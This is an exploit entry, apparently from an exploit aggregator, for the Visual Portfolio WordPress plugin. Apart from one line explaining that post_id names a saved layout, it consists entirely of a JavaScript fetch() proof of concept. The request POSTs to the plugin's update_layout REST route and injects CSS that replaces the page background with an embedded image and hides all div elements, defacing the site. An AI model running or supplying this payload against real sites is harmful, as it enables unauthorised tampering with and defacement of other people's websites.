## https://sploitus.com/exploit?id=WPEX-ID:5DC8B671-F2FA-47BE-8664-9005C4FDBEA8
The post_id is the ID of a saved layout
fetch('/?rest_route=/visual-portfolio/v1/update_layout&post_id=8&data[vp_custom_css]=body{background-image:url(data://image/gif;base64,R0lGODdhKAAoAIABAAAAAP///ywAAAAAKAAoAAACX4yPqcvtD6OctNqLs968GwB4DkheJUSeUxqObCu98CJTtZvaL6quucjoAYfEovGI9M2MrJjwccM9G9FglXpVyJa0LW9n9X635Gy4jOZK02YoW1x5NzNytYWdzOv3/GIBADs=);}div{display:none !important};', {
method: 'POST',
}).then(response => response.text())
.then(data => console.log(data));